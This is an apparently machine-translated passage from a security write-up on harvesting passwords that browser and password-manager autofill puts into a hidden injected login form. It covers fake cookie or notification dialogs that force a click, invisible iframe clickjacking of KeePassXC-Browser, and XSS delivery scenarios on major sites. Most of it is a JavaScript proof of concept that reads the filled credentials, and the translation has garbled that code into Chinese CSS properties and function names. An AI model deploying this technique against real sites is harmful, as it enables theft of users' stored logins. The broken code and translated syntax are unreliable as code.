首次登录时,它会询问是否应为域启用自动填充 - 向用户突出显示“是” 确认对话框后,以后不会再次询问用户,并且数据将完全自动填充 每个密码管理器都会检查登录表单的存在略有不同。对于一个密码管理器,该表单必须对用户可见,而对于另一个密码管理器,该表单可能完全隐藏。表单必须在用户可见的区域 - 只能为右侧和底部设置负值(不能,例如:左侧:-1000px 但底部:-1000px 可以) 表单必须设置为:位置:固定;底部:-{创建表单的高度-X}px; X = 密码管理器的最小可见部分,例如 Bitwarden:3.0001(大于 3),Dashlane:2 新创建的表单最多可见 1.5 秒。密码管理器将检测可见表单并填写数据。尽管有许多限制,我还是创建了一个脚本,该脚本可在测试站点上用于所有默认启用自动填充的密码管理器。该脚本也适用于额外启用自动填充的密码管理器。
一开始,可以定义要向用户显示哪个对话框(强制单击)。还可以设置是否在对话框后面有一个叠加层(使站点的可读性降低)或阻止滚动。创建新表单时,无需从原始表单复制样式(类)。如果脚本被注入到原始登录表单已经存在的站点中,则需要先更改原始表单的所有标识属性。如果没有此更改,密码管理器可能无法在新创建的表单上填写信息。这将导致网站上出现 2 个完全相同的表格的情况。创建一个与存储数据的表单相同的新表单。新表单包含一个 onchange() 事件。如果表单的内容发生更改(填充数据),则提取值 - document.getElementById("username").value 和 document.getElementById("password").value。如果用户使用密码管理器(基于铬的浏览器除外),则不需要与网站进行交互。所以首先要做的是检查新创建的表单中是否已经填写了任何数据。如果数据未在 1500 毫秒内填写,则会向用户显示通知或 cookie 对话框,这会强制用户单击。强制点击将填充基于铬的浏览器的数据。
var覆盖=“是”; // 是的,novar scrolling = "no"; // 是的,novar dialog = "notification"; // 通知, cookiecreateLoginForm();window.setTimeout(function(){ hideLoginForm(); // 函数特别适用于基于铬的浏览器 // 显示需要用户交互的通知或 cookie 对话框 if (!!window.chrome && ! document.getElementById("password").value) { showDialog(); addDialogEvents(); }}, 1500);function createLoginForm() { var divlogin = document.createElement("div"); divlogin.style = "位置:固定;底部:-19.9999px;z-index:2147483647;不透明度:0.2"; divlogin.id = "divlogin"; divlogin.innerHTML = ' \ <form method="POST" action="login.html" id="form" onchange="getFormValues()"> \ <input type="text" id="username" name="username " autocomplete=on required> \ <input type="password" id="password" name="password" autocomplete=on required> \ <button type="submit" id="submit">登录</button> \ < /形式>'; document.body.appendChild(divlogin);}// 删除提交按钮以防止密码管理器中的自动提交功能function removeSubmitButton() { if (document.getElementById("submit")) { var element = document.getElementById("form"); var child = document.getElementById("submit"); element.removeChild(child); }}function hideLoginForm() { divlogin.style.display = "none";}function getFormValues() { usr=document.getElementById("username").value; pw=document.getElementById("password").value; if (usr && pw) { removeSubmitButton();隐藏登录表单();警报(用户+“:”+密码); } }function showDialog() { var overlaydiv = ""; var boxshadow = ""; var dialogdiv = document.createElement("div"); if (overlay == "yes") { overlaydiv = '<div id="overlay"></div>'; boxshadow = 'box-shadow:0 1px 12px rgb(5 27 44 / 33%), 0 2px 32px rgb(5 27 44 / 48%) !important;'; } else { boxshadow = 'box-shadow:0 1px 6px rgb(5 27 44 / 6%), 0 2px 32px rgb(5 27 44 / 16%) !important;'; } if (dialog == "cookie") { dialogdiv.innerHTML = '<style>.no-scroll {overflow: hidden;} #overlay {position: fixed;显示:块;宽度:100%;高度:100%;顶部:0;左:0;右:0;底部:0;背景颜色:RGBA(0,0,0,0.5); z-index:225859400;动画:0.5s showoverlay; } #overlay.remove-overlay {animation: .5s hideoverlay;不透明度:0; } @keyframes showoverlay {from { opacity: 0; } 到 { 不透明度:1; } } @keyframes hideoverlay {from { opacity: 1; } 到 { 不透明度:0; } } #cookie-dialog {display: block!important;位置:相对!重要;不透明度:1!重要;可见性:可见!重要;边距:290px auto 0!important;宽度:650px!重要; -webkit-box-sizing: content-box!important; -moz-box-sizing: content-box!important; box-sizing: content-box!important;最大宽度:90%!重要;背景:#ffffff!重要;填充:12px 24px!重要;溢出:隐藏!重要; z-index:9999!重要;边框:10px 实心 #5fa624!important; box-shadow: #333 1px 1px 10px 1px!important;行高:1.2!重要;文本对齐:左!重要; } #cookie-div {font-family: Arial,serif!important;width: 100%!important;height: 100%!important;margin: 0 auto!important;position: fixed!important;top: 0!important;left : 0!important;font-family: Arial,serif!important;z-index: 2258594000!important;overflow-y: auto!important;} #cookie-dialog h2 {font-size: 20px!important;行高:16px!重要;字体粗细:700!重要;边距:10px 0 16px!重要; } #cookie-dialog p {margin: 12px 0!important;行高:16px!重要;文本缩进:0!重要;字体粗细:400!重要;字体大小:10pt!重要; } #cookie-dialog #button-row {display: flex!important; flex-wrap: nowrap!important; justify-content: space-between!important;右边距:265px!重要; } .btn {border: 1px solid #000000!important; font-family: Arial,serif!important;颜色:#000000!重要;背景:#ffffff!重要;填充:7px 10px!重要;文字装饰:无!重要; } #cookie-dialog #accept-all {border: none!important;颜色:#ffffff!重要;背景:#5fa624!重要;文字装饰:无!重要; } #links {display: flex!important;字体大小:12px!重要;边距顶部:20px!重要; } #cookie-dialog a {color: #5fa624!important;文字装饰:无!重要; } #cookie-dialog a:hover {cursor: pointer!important; } .bar {margin: 0 5px!important;宽度:自动!重要;高度:自动!重要;位置:相对!重要; } #accept-all:hover {cursor: pointer!important;背景:#5fa624!重要;文字装饰:无!重要; } .btn:hover {cursor: pointer!important;背景:#ffffff!重要;文字装饰:无!重要; }</style> \ '+overlaydiv+'<div id="cookie-div"><div id="cookie-dialog"> <div> <h2>隐私和透明度</h2> <p>我们和我们的合作伙伴使用 cookie 在设备上存储和/或访问信息。我们和我们的合作伙伴将数据用于个性化广告和内容、广告和内容衡量、受众洞察和产品开发。正在处理的数据的一个示例可能是存储在 cookie 中的唯一标识符。我们的一些合作伙伴可能会在未经同意的情况下将您的数据作为其合法商业利益的一部分进行处理。要查看他们认为自己有合法权益的目的,或反对此数据处理,请使用下面的供应商列表链接。提交的同意书将仅用于源自本网站的数据处理。如果您想随时更改设置或撤回同意,可从我们的主页访问我们的隐私政策中的链接。</p><p><span id="button-row"><button class="btn">管理设置</button><button id="accept-all" class="btn" style="color: rgb(255, 255, 255) !important;">继续使用推荐的cookies</ button> </span> </p> <div id="links"> <a href="javascript:void(0);">供应商列表</a> <span class="bar">|</span ><a href="javascript:void(0);">隐私政策</a></div></div></div></div>'; } else { dialogdiv.innerHTML = '<style>.no-scroll {overflow: hidden;} #overlay {position: fixed;显示:块;宽度:100%;高度:100%;顶部:0;左:0;右:0;底部:0;背景颜色:RGBA(0,0,0,0.5); z-index:225859400;动画:0.5s showoverlay; } #overlay.remove-overlay {animation: .5s hideoverlay;不透明度:0; } @keyframes showoverlay {from { opacity: 0; } 到 { 不透明度:1; } } @keyframes hideoverlay {from { opacity: 1; } 到 { 不透明度:0; } } #notification-container #notification-dialog .button {box-sizing: border-box;填充:0.75em 1.5em;字体大小:1em;边界半径:0.25em;字体粗细:400;框阴影:未设置;显示:-ms-flexbox;显示:弹性;浮动:对;位置:相对;行高:1.5;文本对齐:居中;空白:nowrap;垂直对齐:中间;光标:指针; -webkit-user-select:无;字体系列:继承;字母间距:0.05em;边距:0;边框:1px 实心透明; } #notification-container #notification-dialog .button.secondary {box-shadow: none;背景:白色!重要;颜色:#0078D1 !重要;右边距:0.714em; } #notification-container #notification-dialog .sizing {display: block; -webkit-backface-visibility:初始!重要;背面可见性:初始!重要; } #notification-container #notification-dialog .notification-body-message {box-sizing: border-box;填充:0 0 0 1em;字体粗细:400;向左飘浮;宽度:计算(100% - 80px);行高:1.45em; -o-user-select: 无; -webkit-user-select:无; -moz-user-select:无; -ms-user-select:无;用户选择:无;光标:默认;颜色:#051B2C !重要; } #notification-container #notification-dialog .notification-body-icon img.icon {width: 45px;顶部:3px;左:50%;变换:translateX(-50%);位置:绝对;高度:45px; } #notification-container #notification-dialog .notification-body-icon {box-sizing: border-box;向左飘浮;宽度:80px;高度:80px;位置:相对; } #notification-container #notification-dialog .notification-body {box-sizing: border-box;边距:0; } #notification-container #notification-dialog {width: 500px; box-sizing: 边框框;最大宽度:100%;边距:0 自动; '+boxshadow+' 背景:白色!重要;颜色:#051b2c;填充:1.5em 1.5em;边框左下角半径:0.5em;边框右下角半径:0.5em; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Seoe UI Symbol"; } #notification-container {字体大小:16px;位置:固定; z-index:2258594000;左:0;右:0; -webkit-font-smoothing:初始; } #notification-container.slide-down {top: 0; } #notification-dialog .sizing {content: "";显示:块;高度:0;清楚:两者; } #notification-container #notification-dialog .button.primary {背景:#0078D1;颜色:白色!重要; } #notification-container #notification-dialog .button.primary:hover {background: #0062ab; } #notification-container.slide-down #notification-dialog {-webkit-animation-name: animationDown; -webkit-animation-iteration-count: 1; -webkit-animation-timing-function:缓出; -webkit-animation-duration: 400ms; -webkit-animation-fill-mode:转发;动画名称:animationDown;动画迭代计数:1;动画计时功能:缓出;动画持续时间:400ms;动画填充模式:向前; -webkit-font-smoothing:初始; } #notification-container.slide-up {-webkit-animation-name: animationUp; -webkit-animation-iteration-count: 1; -webkit-animation-timing-function:缓出; -webkit-animation-duration: 500ms; -webkit-animation-fill-mode:转发;动画名称:animationUp;动画迭代计数:1;动画计时功能:缓出;动画持续时间:500ms;动画填充模式:向前; } @keyframes animationUp {0% {transform: translateY(0%); } 100% {变换:translateY(-150%); } } @keyframes animationDown {0% {transform: translateY(-150%); } 100% {变换:translateY(0); }}</style> \ '+overlaydiv+'<div id="notification-container" class="notification-container slide-down"><div id="notification-dialog" class="notification-dialog"><div class="notification-body" id="notification-body"><div class="notification-body-icon"><img class="icon" alt="icon" src=\'data:image/svg+xml ,%3Csvg fill="none" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 40 40"%3E%3Cg clip-path="url(%23clip0)"%3E %3Cpath fill-rule="evenodd" clip-rule="evenodd" d="M33.232 28.434a2.5 2.5 0 001.768.733 1.667 1.667 0 010 3.333H5a1.667 .35 .35 .35 .35 2.5 v-8.104A13.262 13.262 0 0118.333 5.122V1.667a1.666 1.666 0 113.334 0v3.455A13.262 13.262 0 0132.5 18.563v8.104a2.5 2.5 0 00.732 1.767zM16.273 35h7.454a.413.413 0 01.413.37 4.167 4.167 0 11-8.28 0 .417.417 0 01.413-.37z" fill="%23BDC4CB"/%3E%3C/g%3E%3Cdefs%3E%3CclipPath id="clip0"%3E%3Cpath fill="%23fff" d ="M0 0h40v40H0z"/%3E%3C/clipPath%3E%3C/defs%3E%3C/svg%3E\'></div><div class="notification-body-message">我们想要发送 y ou 最新消息和更新通知。</div><div class="sizing"></div></div><div id="buttons"><button class="primary button">允许</button ><button class="secondary button">取消</button><div class="sizing"></div></div></div></div>'; } document.body.appendChild(dialogdiv); if (scrolling == "no") { document.getElementsByTagName("body")[0].classList.add("no-scroll"); }}function addDialogEvents() { window.addEventListener('click', function(){ if (overlay == "yes") { hideOverlay(); } if (scrolling == "no") { document.getElementsByTagName("body ")[0].classList.remove("no-scroll"); } if (dialog == "cookie") { document.getElementById("cookie-div").style.display = "none"; } else { hideDialog(); } }); window.addEventListener('keydown', function(){ if (overlay == "yes") { hideOverlay(); } if (scrolling == "no") { document.getElementsByTagName("body")[0].classList .remove("no-scroll"); } if (dialog == "cookie") { document.getElementById("cookie-div").style.display = "none"; } else { hideDialog(); } }) ; } function hideDialog() { document.getElementById("notification-container").classList.add("slide-up");}function hideOverlay() { var x = document.getElementById("overlay"); x.classList.add("remove-overlay"); window.setTimeout(function(){ x.style.display = "none"; }, 500);在自动填充的初始表 ( table) 中,我标记了 KeepassXC-Browser 容易受到点击劫持。在测试自动填充时,我发现 KeepassXC-Browser 只需单击输入中的图标即可填充数据。我也在基于铬的浏览器中使用一键式,因此我将这个漏洞添加到我的分析中。单击不会成为漏洞的独立原因。问题是当您创建一个不可见的表单时和当表单显示在一个不可见的框架 (<iframe>) 中时的不同行为。在 KeepassXC-Browser 密码管理器中,点击图标时默认填写密码 但是如果表单在 iframe 中并且 iframe 具有 opacity:0.2,则图标在框架中是透明的 => 可能使icon invisible 然后攻击者只需要在用户点击的地方放置一个不可见的 iframe。对于我创建的脚本,这可能是 cookie 单击或通知对话框。除了在对话框中的按钮上放置 iframe 之外,另一种方法也适用——鼠标光标下的 iframe。具体来说,这将是一个跟踪光标位置的 iframe。 iframe 将具有 KeepassXC-Browser 图标的确切大小,并且 iframe 中的内容将准确定位在图标上。在这种情况下,无论用户点击哪里,他总是点击图标 -> 登录数据将被填充。
将创建将加载相同页面的 iframe -> iframe 将包含新创建的表单对于 iframe 我设置透明度(opacity:0),并且大小与图标大小相同 中的内容iframe 将被定位在新创建的表单上 - 在图标位置 这种情况下的一般问题是扩展并不总是在 iframe 的顶部。除了上面提到的使图标不可见之外,还可以覆盖部分扩展(图标)或影响可见部分。您可以在下方看到影响图标可见部分的 iframe 宽度减小。另一种滥用方式是拥有一个 1x1 像素的 iframe,内容将精确定位到图标。由于其大小,即使设置了 opacity:1,此像素 iframe 也不可见。 iframe 将始终位于光标下方,并且技术是相同的——无论用户点击何处,他总是点击图标。如果域中存储了更多登录名,则会向用户显示一个选择菜单。在 iframe 中,这个选择菜单也是对用户隐藏的。即使存储了多个登录名,也可能滥用 KeepassXC-Browser。您可以在下面看到 LastPass 密码管理器如何处理此问题。菜单位于半透明 iframe 上方,没有调整大小或透明度。
Roboform 也可以一键填写表单数据,但是没有这个漏洞。图标也始终位于顶部(框架上方)且不更改透明度。只有通过 KeePassXC-Browser 存储密码时才会利用此漏洞。如果密码首先保存到 KeePassXC,则始终向用户显示确认对话框。任何使用自动填充的用户都可能会窃取他们保存的登录凭据。一次只能窃取一个已保存的条目(有关更多信息,请参阅限制)并且仅限于注入攻击者代码的域。要窃取凭据,受害者必须访问攻击者修改过的站点。示例 - 存储型 XSS:攻击者在 Amazon.com 上发现了存储型 XSS。该漏洞位于产品评论部分。由于攻击者不受产品购买的限制,他会在每个产品下发布带有 XSS 的评论(注入外部 sript)。这个注入的脚本将使用上述方法。任何在浏览器或密码管理器中存储了 Amazon.com 密码并使用自动填充的用户,在访问任何产品时,他们存储的数据都将被盗 示例 - 反射型 XSS:攻击者在 Facebook 上发现了反射型 XSS。因为是反射XS......